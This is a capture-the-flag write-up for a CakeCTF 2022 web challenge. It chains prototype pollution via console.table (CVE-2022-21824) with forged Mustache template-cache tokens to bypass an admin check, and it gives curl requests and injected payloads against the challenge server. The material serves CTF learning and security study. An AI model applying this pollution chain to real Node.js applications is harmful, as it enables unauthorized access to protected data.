> TLDR:  
>  
> First pollute `Object.__proto__[0]` with help of `console.table`
> (CVE-2022-21824)  
> Secondly pollute mustache parser cache (`Writer.prototype.parse`)

Explanation:

```js  
/* Update memo */  
if (ip in memo) {  
memo[ip][index] = new_memo;  
res.json({ status: "success", result: "Successfully updated" });  
} else {  
res.json({ status: "error", result: "Memo not found" });  
}  
```

Brief analysis reveals vuln of square bracket notation with user controlled
input.

> See: [https://github.com/nodesecurity/eslint-plugin-
> security/blob/main/docs/the-dangers-of-square-bracket-
> notation.md](https://github.com/nodesecurity/eslint-plugin-
> security/blob/main/docs/the-dangers-of-square-bracket-notation.md)

Since `ip in memo` will return `true` for any property of object (that's why
you should use Map-like instead) we can modify `Object.__proto__`. The only
problem is that we can't change `ip` not being and admin, or can we?

```js  
const getAdminRole = (req) => {  
/* Return array of admin roles (such as admin, developer).  
More roles are to be added in the future. */  
return isAdmin(req) ? ["admin"] : [];  
};

/* Admin can edit anyone's memo for censorship */  
if (getAdminRole(req)[0] !== undefined) {  
ip = req.body.ip;  
}  
```

That's looks strange and very usnsafe. The common usage of prototype pollution
is extending empty objects with some properties. So the only thing we need is
to somehow assign any value to `Object.__proto__[0]`. Futher analysis reveals
another strange part of code

```js  
/* We don't need to call isAdmin here  
because only admin can see console log. */  
if (req.body.debug == true) {  
console.table(memo, req.body.inspect);  
}  
```

Two things that we should take into account. There is no admin-only guards.
And usage of `console.table`. In contrast to `console.log`, `console.table` is
rarely used and much more complex inside. Quick search `console.table + vulns`
gives us CVE-2022-21824.

> See: [https://nodejs.org/en/blog/vulnerability/jan-2022-security-
> releases/#prototype-pollution-via-console-table-properties-low-
> cve-2022-21824](https://nodejs.org/en/blog/vulnerability/jan-2022-security-
> releases/#prototype-pollution-via-console-table-properties-low-
> cve-2022-21824)

So let's start breaking server. Firstly we need create an empty memo since we
need non-empty object as first paramter of `console.table` to use this vuln.

```bash  
curl --location --request POST 'http://web2.2022.cakectf.com:39073/new' \  
\--header 'Authorization: Basic <TOKEN>' \  
\--header 'Content-Type: application/json' \  
\--data-raw '{}'  
```

And then just

```bash  
curl --location --request GET 'http://web2.2022.cakectf.com:39073/show' \  
\--header 'Authorization: Basic <TOKEN>' \  
\--header 'Content-Type: application/json' \  
\--data-raw '{  
"debug": true,  
"inspect": ["__proto__"]  
}'  
```

`console.table` will pollute `Object.__proto__[0]` with empty string. Don't
worry about error – it's ok.  
Now `getAdminRole(req)[0] !== undefined` will aways `true`, and finally we can
replace `ip` with any value.

But still there is no way to retrieve flag. We can't override properties using
(such) prototype pollution, so `Object.__proto__.is_admin = true` wouldn't
work. And since we can't modify a data to be rendered let's modify a way it's
rendered. Thanks God, app uses `Mustache` as template engine. It's only 776
lines of source code including a lot of comments. What we are looking for is
undefined but somehow used property. In general case it may be some config
objects with optional properties, or some caching things. Let's begin
reversing from `mustache.render`

```js  
mustache.render = function render(template, view, partials, config) {  
if (typeof template !== "string") {  
throw new TypeError(  
'Invalid template! Template should be a "string" ' +  
'but "' +  
typeStr(template) +  
'" was given as the first ' +  
"argument for mustache#render(template, view, partials)"  
);  
}

return defaultWriter.render(template, view, partials, config);  
};  
```

Unfortunately, both partials and config are `undefined` and there is nothing
we can deal with it. Let's dive deeper – `defaultWriter.render`

```js  
Writer.prototype.render = function render(template, view, partials, config) {  
var tags = this.getConfigTags(config);  
var tokens = this.parse(template, tags);  
var context = view instanceof Context ? view : new Context(view, undefined);  
return this.renderTokens(tokens, context, partials, template, config);  
};  
```

And again we can't affect `this.getConfigTags(config);`, but maybe we can do
something with parsing? Let's see

```js  
Writer.prototype.parse = function parse(template, tags) {  
var cache = this.templateCache;  
var cacheKey = template + ":" + (tags || mustache.tags).join(":");

var isCacheEnabled = typeof cache !== "undefined";  
var tokens = isCacheEnabled ? cache.get(cacheKey) : undefined;

if (tokens == undefined) {  
tokens = parseTemplate(template, tags);  
isCacheEnabled && cache.set(cacheKey, tokens);  
}  
return tokens;  
};  
```

Oh yeah, that's exactly we looking for. Despite `cache.get` looks as `Map-
like` class, actually it just a stupid wrapper around `Object`, that means we
can easily pollute cache.

```js  
function Writer() {  
this.templateCache = {  
_cache: {},  
set: function set(key, value) {  
this._cache[key] = value;  
},  
get: function get(key) {  
return this._cache[key];  
},  
clear: function clear() {  
this._cache = {};  
},  
};  
}  
```

Let's add some `console.log`'s to discover what tokens are cached.

```json  
[  
["text", "<omitted>", 0, 464],  
[  
"#",  
"is_admin",  
484,  
497,  
[  
["text", "FLAG: `", 498, 530],  
["name", "flag", 530, 538],  
["text", "`\n", 538, 546]  
],  
566  
],  
[  
"^",  
"is_admin",  
600,  
613,  
[["text", "<mark>Access Denied</mark>\n", 614, 661]],  
681  
],  
["text", "<omitted>", 695, 775]  
]  
```

Okay, because of offsets it may seems a little bit difficult to fake cache,
but actually only thing we need to change is a `#` to `^` in second token.
This change will inverse render condition so flag will renders for non-admin
users. The last step is restart server to clear a cache, reproduce steps
above, fill cache with fake tokens and finally open `/admin.php`

```bash  
curl --location --request POST 'http://web2.2022.cakectf.com:39073/edit' \  
\--header 'X-Forwarded-For: __proto__' \  
\--header 'Authorization: Basic <TOKEN>' \  
\--header 'Content-Type: application/json' \  
\--data-raw '{  
"ip": "__proto__",  
"index": "\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <link
rel=\"stylesheet\" href=\"https://cdn.simplecss.org/simple.min.css\">\n
<title>Admin Panel - lolpanda</title>\n </head>\n <body>\n <header>\n
<h1>Admin Panel</h1>\n

Please leave this page if you'\''re not the admin.

\n </header>\n <main>\n <article style=\"text-align: center;\">\n
<h2>FLAG</h2>\n

\n {{#is_admin}}\n FLAG: `{{flag}}`\n {{/is_admin}}\n {{^is_admin}}\n
<mark>Access Denied</mark>\n {{/is_admin}}\n

\n </article>\n </main>\n </body>\n</html>\n:{{:}}",  
"memo": [[  
"text",  
"\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <link rel=\"stylesheet\"
href=\"https://cdn.simplecss.org/simple.min.css\">\n <title>Admin Panel -
lolpanda</title>\n </head>\n <body>\n <header>\n <h1>Admin Panel</h1>\n

Please leave this page if you'\''re not the admin.

\n </header>\n <main>\n <article style=\"text-align: center;\">\n
<h2>FLAG</h2>\n

\n",  
0,  
464  
],  
[  
"^",  
"is_admin",  
484,  
497,  
[  
["text", " FLAG: `", 498, 530],  
["name", "flag", 530, 538],  
["text", "`\n", 538, 546]  
],  
566  
],  
[  
"^",  
"is_admin",  
600,  
613,  
[["text", " <mark>Access Denied</mark>\n", 614, 661]],  
681  
],  
[  
"text",  
"

\n </article>\n </main>\n </body>\n</html>\n",  
695,  
775  
]  
]  
}'  
```

Flag: `CakeCTF{pollute_and_p011u73_4nd_PoLLuTE!}`